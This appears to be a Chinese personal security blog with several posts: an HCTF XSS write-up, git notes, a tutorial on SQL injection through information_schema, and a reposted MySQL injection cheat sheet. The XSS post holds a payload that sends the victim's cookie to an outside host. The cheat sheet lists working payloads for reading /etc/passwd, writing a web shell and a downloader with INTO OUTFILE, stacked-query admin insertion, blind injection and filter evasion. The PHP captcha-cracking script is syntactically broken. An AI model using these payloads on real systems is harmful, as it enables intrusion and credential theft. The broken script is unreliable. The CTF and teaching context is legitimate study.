2016年11月

HCTF一道web题学到的新姿势

彩笔一个。感觉其中一道xss的题目学到了新的姿势,挺有意思的。

QQ20161127-0@2x.png

首先是提交的时候一个MD5的碰撞,写个脚本就好了。1s就能碰撞出来。
然后抓包提交message。一段时间内,这个验证是不会立即失效。

<?php
$captcha=$_GET['md5'];
while(1){
        $str="`1234567890";
        $str+="-=~!@#$%^&*()_+]"; 
        $str+="[poiuytrewqas";
        $str+="dfghjkl;'/.,mn";
        $str+="bvcxzZXCVBNM<>?:"
        $str+="LKJHGFDSAQWERTYUIOP{}|";
        $daima="$pass=$str[rand(0,90)].$str[rand(0,90)]";  
        $daima+=".$str[rand(0,90)].$str[rand(0,90)].$str[rand(0,90)]";
        eval($daima); //终于对齐了
        $scert=substr(md5($pass),0,4);
        if($scert==$captcha) {
                echo "found ".$pass."       md5 is :".$scert."\n";
                break;
        }
}
?>

QQ20161127-1@2x.png

发现script on img 等全被过滤

QQ20161127-2@2x.png

包含轻松绕过。那么我们的重点也就来了,看http头

QQ20161127-3@2x.png

发现了Content-Security-Policy这个东西。什么是CSP呢

以白名单的机制对网站加载或执行的资源起作用。在网页中,这样的策略通过 HTTP 头信息或者 meta 元素定义。CSP虽然提供了强大的安全保护,但是他也造成了如下问题:Eval及相关函数被禁用、内嵌的JavaScript代码将不会执行、只能通过白名单来加载远程脚本。这些问题阻碍CSP的普及,如果要使用CSP技术保护自己的网站,开发者就不得不花费大量时间分离内嵌的JavaScript代码和做一些调整,本文研究的技术可以自动化分离代码和数据,帮助网站支持CSP技术避免潜在的跨站攻击。

以上来自百度百科。我的简短理解就是,浏览器允许加载白名单以内的css资源,js资源,img资源,等等一切能在网页上显示的资源。所以我们如果这里直接远程加载xss平台的代码话,不会直接执行。

这里有一篇英文。Please ClickMe

既然不能加载信息。我们可以发送请求啊。于是就有了以下的payload

<script>
function sub(){
    document.getElementById("key").value=document.cookie;
    document.getElementById("url").value=location.href;
    document.pass.submit();
}
setTimeout(sub,1);

</script>
<form name="pass" action="http://anx1ang.win/index.php" method="GET">
<input id="key" type=hidden name="cookie"  />
<input id="url" type=hidden name="url">
</form>

比较坑的是前面提到的过滤了script on 所以这里的on 和script 都有多写两次,这里为了看着顺眼,就不多写啦。
回自己的vps查看log
QQ20161127-4@2x.png

页面带上cookie后,成功得到flag
QQ20161127-6@2x.png

Github的使用笔记

github是一个很好的代码仓库,由于自己经常忘记怎么使用,今晚上做个使用笔记吧。。。

git init //在本地创建一个新的git仓库。
QQ20161124-0@2x.png

git add FILE //将文件添加到仓库当中

git commit -m "说明性文字" //为当前的改动提交到仓库中,并生成一个历史版本号。

git log //查看版本记录.主要是用来回退到以前的某个版本
QQ20161124-1@2x.png

git reflog //查看历史命令.主要是从未来回到以前的你,又想回到未来的时候用的。
QQ20161124-0@2x.png

git reset --hard ID_COMMIT //回退到提交的某个版本(ID号).

git status //显示当前改动版本改动信息(未commit)
QQ20161124-2@2x.png

git rm FILE //会从本地删除文件。如果没有将文件commit,那么就跟rm命令差不多。

git clone ADDRESS //clone到本地

未完待更新

关于MySql中information_schema的一些东西

information_schema 英文翻译下来就是数据概要。

顾名思义,information_schema中存放着一些关于MySQL数据库中概要的信息。sql报错注入中会经常用到这个库。
来看一看这个数据库中到底有哪些东西。
QQ20161119-1@2x.png

红色圈着的是我们在sql注入中经常用到的3个表。所以接下来我们就只了解这三张表的结构就好了。

information_schema.schemata

QQ20161119-2@2x.png

可以看到schema_name中存放的都是数据库的名字。那么现在理解

http://192.168.56.101/sqli-labs/Less-1/?id=-1'union select 1,group_concat(schema_name),3 from
information_schema.schemata --+

QQ20161119-0@2x.png

上面的sql语句也没有什么问题了。
就是找出数据库中所有的数据库。

information_schema.tables

执行select table_schema,table_name infromation_schma.tables;
这里我为了方便图片显示 ,只选出了六条数据出来。
QQ20161119-4@2x.png

可以看出information.tables中的 table_schema存放的是当前所有数据库的名字。table_name是数据库名对应表的名字。

那么这句注入是不是也很好懂了。
http://192.168.56.101/sqli-labs/Less-1/?id=-1'union select 1,group(table_name),@@datadir from information_schema.tables where table_schema="security" --+

QQ20161119-1@2x.png

information.columns

还是看看数据表
QQ20161119-6@2x.png

看出information.columns中的table_name存放的是数据库中表的名字子,column_name存放的是表名对应所含列的信息。
http://192.168.56.101/sqli-labs/Less-1/?id=-1'union select 1,group_concat(column_name),@@datadir from information_schema.columns where table_name="users" --+
2@2x.png

我们得到了所有的列名。
然后再去查询数据吧。!
QQ20161119-7@2x.png

总结

  • information_schema 中存放的是数据概要的信息。这是与access数据库不同的地方,不用字典。以前学长们就叫我们从asp站入手,没有字典就搞不下去了。
  • information_schema.schemata 中schema_name存放的是数据库中的数据库名。
  • information_schema.tables 中table_name(表名)要从这个表中找。
  • information_schema.columns 中column_name(列名)要从这个表中。
  • group_concat()的作用是将里面的东西归为一条,查询出来

[转载]Mysql注入科普

#默认存在的数据库:
1.png

#测试是否存在注入方法
假:表示查询是错误的 (MySQL 报错/返回页面与原来不同)

真:表示查询是正常的 (返回页面与原来相同)

共三种情况:
QQ20161118-0@2x.png

例子:

SELECT * FROM Users WHERE id = '1''';
SELECT * FROM Users WHERE id = 3-2;
SELECT * FROM Users WHERE username = 'Mike' AND password = '' OR '' = '';

可以使用很多单双引号,只要是成对出现。

SELECT * FROM Articles WHERE id = '121'''''''''''''
引号后的语句会继续执行。

SELECT '1'''''"" UNION SELECT '2' # 1 and 2
下面的符号可以用来注释语句:
QQ20161118-1@2x.png

例子:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';

#测试数据库版本
VERSION()
@@VERSION
@@GLOBAL.VERSION
如果版本为5的话,下面例子返回为真:

SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
windows平台上的mysql查询与linux上返回不同,如果是windows服务器返回结果会包含 -nt-log字符。

#数据库认证信息:
QQ20161118-2@2x.png

例子:

SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)

#数据库名:
QQ20161118-3@2x.png

例子:

SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)

#服务器主机名:
@@HOSTNAME
例子:

SELECT @@hostname;
#表和字段
##检测字段数
两种方式:
QQ20161118-4@2x.png

##查询表名
三种方式:
QQ20161118-5@2x.png

##查询列名
QQ20161118-6@2x.png

例子:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

输出结果:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

利用代码:

SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns

例子:

SELECT username FROM Users WHERE id = '-1' UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns;

输出结果:

Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority
##根据列名查询所在的表
QQ20161118-7@2x.png

##根据表查询包含的字段
QQ20161118-8@2x.png

##绕过引号限制
QQ20161118-9@2x.png

##绕过字符串黑名单
QQ20161118-9@2x.png

使用CONCAT()时,任何个参数为null,将返回null, 推荐使用CONCAT_WS() 。

CONCAT_WS() 函数第一个参数表示用哪个字符间隔所查询的结果。

##条件语句
QQ20161118-10@2x.png

例子:

SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;

##时间延迟查询:
QQ20161118-11@2x.png

例子:

' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

#权限
##文件权限
下面的语句可以查询用户读写文件操作权限:
QQ20161118-12@2x.png

##读取文件
如果用户有文件操作权限可以读取文件:

LOAD_FILE()
例子:

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);

  • 文件必须在服务器上。
  • LOAD_FILE()函数操作文件的当前目录是@@datadir
  • MySQL用户必须拥有对此文件读取的权限。
  • 文件大小必须小于 max_allowed_packet。
  • @@max_allowed_packet的默认大小是1047552 字节.
    ##写文件
    如果用户有文件操作权限可以写文件。

INTO OUTFILE/DUMPFILE
写一个php的shell:

SELECT '' INTO OUTFILE '/var/www/shell.php';
访问如下链接:

http://localhost/shell.php?c=cat%20/etc/passwd

写一个下载者:

SELECT '' INTO OUTFILE '/var/www/get.php'
访问如下链接:

http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt

  • INTO OUTFILE 不可以覆盖已存在的文件。
  • INTO OUTFILE 必须是最后一个查询。
  • 引号是必须的,因为没有办法可以编码路径名。
    #PDO堆查询方式操作数据库
    PHP使用PDO_MYSQL来连接数据库,便可以使用堆查询,堆查询可以同时执行多个语句。

    SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('BobbyTables', 'kl20da$$','admin');

    #MySql特有的写法
    MySql中,/*! SQL 语句 */ 这种格式里面的 SQL 语句会当正常的语句一样被解析。

如果在!之后是一串数字(这串数字就是 mysql 数据库的版本号), 如:/*! 12345 SQL 语句 */

当版本号大于等于该数字,SQL 语句则执行,否则就不执行。

SELECT 1/!41320UNION/!/!/!00000SELECT/!/!USER/!(/!/!/!*/);
#模糊和混淆
允许的字符
QQ20161118-13@2x.png

例子:

'%0A%09UNION%0CSELECT%A0NULL%20%23
括号也可以用来绕过过滤空格的情况:

QQ20161118-16@2x.png

例子:

UNION(SELECT(column)FROM(table))
QQ20161118-14@2x.png

AND或OR后面可以跟的字符
QQ20161118-15@2x.png

例子:

SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
dual是一个虚拟表,可以用来做测试。
QQ20161118-17@2x.png

#几个针对黑名单绕过的例子
基于关键字的黑名单
QQ20161118-18@2x.png

下面这种方式你需要已经知道一些表和字段名(可以利用substring函数去一个一个获得information_schema.columns表中的数据)
QQ20161118-18@2x.png

QQ20161118-19@2x.png

QQ20161118-21@2x.png

QQ20161118-22@2x.png

QQ20161118-23@2x.png

QQ20161118-23@2x.png

QQ20161118-24@2x.png

QQ20161118-25@2x.png

QQ20161118-25@2x.png

QQ20161118-26@2x.png

#利用正则表达式进行盲注
我们都已经知道,在MYSQL 5+中 information_schema库中存储了所有的 库名,表明以及字段名信息。故攻击方式如下:

1、判断第一个表名的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-z]' LIMIT 0,1) /*

2、判断第一个字符是否是a-n中的字符

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)/*

3、确定该字符为n

index.php?id=1 and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^n' LIMIT 0,1) /*

4、表达式的更换如下

'^n[a-z]' -> '^ne[a-z]' -> '^new[a-z]' -> '^news[a-z]' -> FALSE

这时说明表名为news ,要验证是否是该表明 正则表达式为'^news$',但是没这必要 直接判断 table_name = 'news' 不就行了。
5、接下来猜解其它表了 只需要修改 limit 1,1 -> limit 2,1就可以对接下来的表进行盲注了。
#order by后的注入
oder by由于是排序语句,所以可以利用条件语句做判断,根据返回的排序结果不同判断条件的真假。

一般带有oder或者orderby的变量很可能是这种注入,在知道一个字段的时候可以采用如下方式注入:

原始链接:http://www.test.com/list.php?order=vote 根据vote字段排序。

找到投票数最大的票数num然后构造以下链接:

http://www.test.com/list.php?order=abs(vote-(length(user())>0)*num)+asc
看排序是否变化。

还有一种方法不需要知道任何字段信息,使用rand函数:

http://www.test.com/list.php?order=rand(true)
http://www.test.com/list.php?order=rand(false)
以上两个会返回不同的排序,判断表名中第一个字符是否小于128的语句如下:

http://www.test.com/list.php?order=rand((select char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))
#宽字节注入
sql注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。

原文链接:drops.wooyun.org/tips/123